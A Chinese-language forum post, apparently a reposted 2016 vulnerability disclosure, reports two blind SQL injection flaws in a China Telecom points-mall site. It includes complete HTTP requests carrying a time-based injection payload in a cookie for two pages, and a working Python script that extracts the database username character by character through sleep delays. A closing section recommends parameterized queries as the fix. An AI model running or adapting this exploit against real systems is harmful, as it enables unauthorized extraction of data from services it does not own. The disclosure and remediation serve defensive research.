HanDs
管理员

[7月漏洞公开] 中国电信某积分商城2处SQL注入(附测试脚本) 



当用户可控的数据未经过恰当的处理就进入了数据库执行的SQL语句中时,就可能存在SQL注入漏洞。攻击者可以定制特定的字符来改变SQL语句的语义。通过SQL注入漏洞可以造成多种危害,包括读取或者修改应用的数据,改变程序逻辑,提升权限和执行操作系统命令等。

详细说明:

1、漏洞触发页面以及对应功能:

http://**.**.**.**/cms/special/specialUrl.aspx

屏幕快照 2016-05-25 下午2.36.55.png





2



2、漏洞复现具体流程,包含具体payload和完整的数据包:

code 区域
GET /cms/special/specialUrl.aspx HTTP/1.1
Cookie: ASP.NET_SessionId=1kyxq5jjeuc3to24y0bjyzvr; cid=755; pid=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/; provincename=%e5%b9%bf%e4%b8%9c; cityname=%e6%b7%b1%e5%9c%b3%e5%b8%82
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*





3,

code 区域
GET /ordermake/productlist.aspx HTTP/1.1
Cookie: ASP.NET_SessionId=1kyxq5jjeuc3to24y0bjyzvr; cid=755; pid=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/; provincename=%e5%b9%bf%e4%b8%9c; cityname=%e6%b7%b1%e5%9c%b3%e5%b8%82
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*

漏洞证明:

数据库相关信息证明,仅证明,未存储下载任何敏感信息



[email protected]

屏幕快照 2016-05-25 下午2.42.12.png





code 区域
#encoding=utf-8



import httplib



import time



import string



import sys



import random



import urllib







headers = {



'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',



}







payloads = list(string.ascii_lowercase)



for i in range(0,10):



payloads.append(str(i))



payloads += ['@','_', '.', '-', '\\', ' ']







print 'Try to retrive user:'



user = ''



for i in range(1,24):



for payload in payloads:





try:



conn = httplib.HTTPConnection('**.**.**.**', timeout=5)



headers['Cookie']="ASP.NET_SessionId=1kyxq5jjeuc3to24y0bjyzvr; cid=755; pid=(select(0)from(select(sleep(if(ascii(mid(user(),%s,1))=%s,5,0))))v);" % (i, ord(payload))



conn.request(method='GET', url= '/cms/special/specialUrl.aspx' ,



headers = headers)



html_doc = conn.getresponse().read()



conn.close()



print '.',



except Exception, e:



user += payload



print '\nIn progress]', user



break







print '\n[Done] User is:', user



修复方案:

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
中国
#1楼
发帖时间:2016-7-11   |   查看数:0   |   回复数:0
游客组
快速回复